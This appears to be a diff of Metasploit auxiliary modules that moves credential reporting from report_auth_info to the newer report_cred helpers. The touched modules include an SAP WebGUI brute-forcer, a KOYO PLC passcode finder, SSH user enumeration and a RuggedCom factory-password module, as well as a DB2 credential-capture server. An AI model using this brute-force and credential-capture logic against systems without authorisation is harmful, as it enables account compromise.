@@ -107,6 +107,33 @@ class Metasploit4 < Msf::Auxiliary
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def bruteforce(uri,user,pass,cli)
begin
path = "sap/bc/gui/sap/its/webgui/"
@@ -134,30 +161,26 @@ class Metasploit4 < Msf::Auxiliary
end
if res and res.code == 302
report_auth_info(
:host => rhost,
:port => rport,
:sname => "sap_webgui",
:proto => "tcp",
:user => "#{user}",
:pass => "#{pass}",
:proof => "SAP Client: #{cli}",
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: 'sap_webgui',
user: user,
password: pass,
proof: "SAP Client: #{cli}"
)
return true
elsif res and res.code == 200
if res.body =~ /log on again/
return false
elsif res.body =~ /<title>Change Password - SAP Web Application Server<\/title>/
report_auth_info(
:host => rhost,
:port => rport,
:sname => "sap_webgui",
:proto => "tcp",
:user => "#{user}",
:pass => "#{pass}",
:proof => "SAP Client: #{cli}",
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: 'sap_webgui',
user: user,
password: pass,
proof: "SAP Client: #{cli}"
)
return true
elsif res.body =~ /Password logon no longer possible - too many failed attempts/
+33 -7
View File
@@ -114,19 +114,45 @@ class Metasploit3 < Msf::Auxiliary
next if not res
print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}"
report_auth_info(
:host => rhost,
:port => rport.to_i,
:proto => 'udp',
:user => '',
:pass => passcode, # NOTE: Human readable
:active => true
report_cred(
ip: rhost,
port: rport.to_i,
service_name: 'koyo',
user: '',
password: passcode,
proof: res
)
break
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'udp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def crc16(buf, crc=0)
buf.each_byte{|x| crc = ((crc << 8) ^ @@CCITT_16[( crc >> 8) ^ x]) & 0xffff }
[crc].pack("v")
@@ -140,13 +140,26 @@ class Metasploit3 < Msf::Auxiliary
end
def do_report(ip, user, port)
report_auth_info(
:host => ip,
:port => rport,
:sname => 'ssh',
:user => user,
:active => true
)
service_data = {
address: ip,
port: rport,
service_name: 'ssh',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: user,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_data)
create_credential_login(login_data)
end
def peer(rhost=nil)
+20 -7
View File
@@ -118,13 +118,26 @@ class Metasploit3 < Msf::Auxiliary
end
def do_report(ip, user, port)
report_auth_info(
:host => ip,
:port => rport,
:sname => 'ssh',
:user => user,
:active => true
)
service_data = {
address: ip,
port: rport,
service_name: 'ssh',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: user,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_data)
create_credential_login(login_data)
end
# Because this isn't using the AuthBrute mixin, we don't have the
+36 -25
View File
@@ -53,33 +53,44 @@ class Metasploit3 < Msf::Auxiliary
resp = sock.get_once(-1, timeout)
if resp
ident, first_message = resp.split(/[\r\n]+/)
if /^SSH-\d+\.\d+-(?<banner>.*)$/ =~ ident
if recog_match = Recog::Nizer.match('ssh.banner', banner)
info = recog_match.to_s
else
info = 'UNKNOWN'
print_warning("#{peer} unknown SSH banner: #{banner}")
end
# Check to see if this is Kippo, which sends a premature
# key init exchange right on top of the SSH version without
# waiting for the required client identification string.
if first_message && first_message.size >= 5
extra = first_message.unpack("NCCA*") # sz, pad_sz, code, data
if (extra.last.size + 2 == extra[0]) && extra[2] == 20
info << " (Kippo Honeypot)"
end
end
print_status("#{peer}, SSH server version: #{ident}")
report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: info)
else
vprint_warning("#{peer} was not SSH --" \
" #{resp.size} bytes beginning with #{resp[0, 12]}")
end
else
if ! resp
vprint_warning("#{peer} no response")
return
end
ident, first_message = resp.split(/[\r\n]+/)
info = ""
if /^SSH-\d+\.\d+-(.*)$/ !~ ident
vprint_warning("#{peer} was not SSH -- #{resp.size} bytes beginning with #{resp[0, 12]}")
return
end
banner = $1
# Try to match with Recog and show the relevant fields to the user
recog_match = Recog::Nizer.match('ssh.banner', banner)
if recog_match
info << " ( "
recog_match.each_pair do |k,v|
next if k == 'matched'
info << "#{k}=#{v} "
end
info << ")"
end
# Check to see if this is Kippo, which sends a premature
# key init exchange right on top of the SSH version without
# waiting for the required client identification string.
if first_message && first_message.size >= 5
extra = first_message.unpack("NCCA*") # sz, pad_sz, code, data
if (extra.last.size + 2 == extra[0]) && extra[2] == 20
info << " (Kippo Honeypot)"
end
end
print_status("#{peer} SSH server version: #{ident}#{info}")
report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: ident)
end
rescue Timeout::Error
vprint_warning("#{peer} timed out after #{timeout} seconds. Skipping.")
@@ -89,6 +89,7 @@ class Metasploit3 < Msf::Auxiliary
else
invalidate_login(credential_data)
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
disconnect(scanner.sock)
end
end
end
@@ -79,6 +79,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -95,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary
mac = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0]
password = mac_to_password(mac)
info = get_info(banner_santized)
report_cred(ip: rhost, port: rport, user:'factory', password: password)
report_cred(ip: rhost, port: rport, user:'factory', password: password, proof: banner_santized)
break
else
print_status("It doesn't seem to be a RuggedCom service.")
@@ -58,6 +58,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -70,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary
case result
when :success
print_good "#{rhost}:#{rport} - Successful Login! (#{user}:#{pass})"
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: result)
return if datastore['STOP_ON_SUCCESS']
when :fail
print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})"
+33 -8
View File
@@ -216,14 +216,13 @@ class Metasploit3 < Msf::Auxiliary
if @state[c][:user] and @state[c][:pass]
print_status("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}")
report_auth_info(
:host => @state[c][:ip],
:port => datastore['SRVPORT'],
:sname => 'db2_client',
:user => @state[c][:user],
:pass => @state[c][:pass],
:source_type => "captured",
:active => true
report_cred(
ip: @state[c][:ip],
port: datastore['SRVPORT'],
service_name: 'db2_client',
user: @state[c][:user],
password: @state[c][:pass],
proof: @state.inspect
)
params = []
@@ -238,6 +237,32 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def on_client_close(c)
@state.delete(c)
end

Some files were not shown because too many files have changed in this diff Show More